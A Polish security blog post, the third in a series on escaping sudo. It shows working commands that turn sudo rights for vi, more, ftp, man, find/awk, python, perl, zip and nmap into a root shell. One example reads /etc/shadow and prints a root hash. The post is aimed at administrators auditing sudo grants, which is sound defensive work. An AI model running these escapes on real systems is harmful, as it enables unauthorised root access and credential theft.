NFsec Logo

Uciekając z sudo – część trzecia

28/08/2016 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 541, ilość słów: 367)

W nawiązaniu do poprzednich dwóch edycji oraz odpowiadając na pytanie: Jakie jeszcze przykładowe programy umożliwiają ucieczkę z sudo? – Możemy przyjrzeć się następującym przypadkom:

1. Edytor vi:

Użytkownik otrzymał dostęp za pomocą sudo dla edytor a vi, aby mógł edytować plik /etc/local_dns i dopisywać lokalne nazwy DNS:

darkstar@darkstar:~$ sudo vi /etc/local_dns
[sudo] password for darkstar:

Po odpaleniu edytora wystarczy wydać polecenie: ":!/bin/sh":

# id
uid=0(root) gid=0(root) groups=0(root)
#

2. Polecenie more:

Inny użytkownik otrzymał dostęp za pomocą sudo dla polecenia more, aby mógł weryfikować poprawność pliku /etc/local_dns (ucieczka możliwa jest tylko w przypadku, gdy ilość linii podglądanego pliku nie mieści się na jednym ekranie – najlepiej wtedy zmniejszyć tak ekran terminala, aby pojawił się prompt do przewijania ekranu):

darkstar@darkstar:~$ sudo more /etc/local_dns
[sudo] password for darkstar:

Jak tylko zobaczymy w dolnym lewym rogu ekranu komunikat: "--More--(X%)" możemy wydać polecenie: "!/bin/sh":

!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
#

3. Polecenie ftp:

Przez pomyłkę jeden z użytkowników otrzymał uprawnienia sudo dla klienta ftp:

darkstar@darkstar:~$ sudo ftp
[sudo] password for darkstar:
ftp> !/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

4. Inne niebezpieczne polecenia:

$ sudo man bash

– ucieczka do powłoki odbywa się poprzez polecenie: !bash.

$ sudo find / -name root -exec /usr/bin/awk 'BEGIN {system("/bin/sh")}' \;

– przy pierwszej próbie odnalezienia frazy program find korzystając z awk odpali nam powłokę systemową.

$ sudo python3
Python 3.5.2 (default, Jul  5 2016, 12:43:10)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> exit_code = os.system('/bin/sh')
# id
uid=0(root) gid=0(root) groups=0(root)

– większość interpreterów języków programowania bez problemu umożliwia wywołanie systemowych funkcji (np. perl: sudo perl -e 'exec "/bin/sh"';).

$ sudo zip test.zip -T -TT '/bin/sh #'
# id
uid=0(root) gid=0(root) groups=0(root)

– polecenie zip pozwala na określenie alternatywnego polecenia do przetestowania archiwum.

$ sudo nmap --interactive
Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h  for help
nmap> !head -n1 /etc/shadow
root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:16128:0:99999:7:::
waiting to reap child: No child processes (10)
nmap> 

– parametr umożliwiający uruchomienie interaktywnej powłoki został usunięty w wersji nmap – 5.35DC1.

Po powyższych przykładach możemy wywnioskować, że spektrum programów umożliwiających wyjście do powłoki jest dość szerokie. Dlatego jeśli musimy zdecydować się na podwyższenie uprawnień dla wybranego narzędzia przy pomocy sudo – powinniśmy wykonać audyt jego możliwości odnośnie różnych scenariuszy takich ucieczek.

Więcej informacji: Solutions to the Sudo Challenge!, CSS, Escaping Restricted Linux Shells

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.